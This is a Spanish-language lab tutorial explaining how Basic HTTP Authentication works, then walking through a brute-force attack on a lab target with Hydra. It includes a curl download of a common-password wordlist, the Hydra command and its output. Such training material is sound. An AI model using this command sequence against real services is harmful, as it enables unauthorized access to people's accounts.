Basic HTTP Authentication
Las aplicaciones web suelen emplear mecanismos de autenticación para proteger datos sensibles y funcionalidades. Basic HTTP Authentication, o simplemente Basic Auth
, es un método rudimentario pero común para asegurar recursos en la web. Aunque es fácil de implementar, sus vulnerabilidades inherentes lo convierten en un objetivo frecuente para ataques de fuerza bruta.
En esencia, Basic Auth es un protocolo de desafío-respuesta en el que un servidor web exige credenciales de usuario antes de otorgar acceso a recursos protegidos. El proceso comienza cuando un usuario intenta acceder a un área restringida. El servidor responde con un estado 401 Unauthorized
y un encabezado WWW-Authenticate
que solicita al navegador del usuario presentar un cuadro de diálogo de inicio de sesión.
Una vez que el usuario proporciona su nombre de usuario y contraseña, el navegador los concatena en una sola cadena, separada por dos puntos. Esta cadena se codifica en Base64 y se incluye en el encabezado Authorization
de las solicitudes subsiguientes, siguiendo el formato Basic <encoded_credentials>
. El servidor decodifica las credenciales, las verifica contra su base de datos y concede o deniega el acceso según corresponda.
Por ejemplo, los encabezados para Basic Auth en una solicitud HTTP GET se verían así:
GET /protected_resource HTTP/1.1
Host: www.example.com
Authorization: Basic YWxpY2U6c2VjcmV0MTIz
Exploiting Basic Auth with Hydra
Para seguir este ejemplo, inicia el sistema objetivo desde la sección de preguntas al final de la página.
Usaremos el servicio http-get
de Hydra para realizar fuerza bruta en un objetivo con Basic Auth.
En este escenario, la instancia objetivo utiliza Basic HTTP Authentication. Ya sabemos que el nombre de usuario es basic-auth-user
. Dado que conocemos el nombre de usuario, podemos simplificar el comando de Hydra y centrarnos únicamente en realizar fuerza bruta sobre la contraseña. Este es el comando que utilizaremos:
# Descargar la wordlist si es necesario
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt
# Comando de Hydra
hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81
...
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-09 16:04:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking http-get://127.0.0.1:81/
[81][http-get] host: 127.0.0.1 login: basic-auth-user password: ...
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-09 16:04:32
Desglosemos el comando:
-l basic-auth-user
: Especifica que el nombre de usuario para el intento de inicio de sesión esbasic-auth-user
.-P 2023-200_most_used_passwords.txt
: Indica que Hydra debe usar la lista de contraseñas contenida en el archivo2023-200_most_used_passwords.txt
para el ataque de fuerza bruta.127.0.0.1
: Es la dirección IP del objetivo, en este caso, la máquina local (localhost).http-get /
: Instruye a Hydra que el servicio objetivo es un servidor HTTP y que el ataque debe realizarse utilizando solicitudes HTTP GET a la ruta raíz (/
).-s 81
: Sobrescribe el puerto predeterminado del servicio HTTP y lo establece en 81.
Al ejecutar este comando, Hydra intentará sistemáticamente cada contraseña del archivo 2023-200_most_used_passwords.txt
contra el recurso especificado. Finalmente, devolverá la contraseña correcta para basic-auth-user
, que podrás usar para iniciar sesión en el sitio web y recuperar la flag.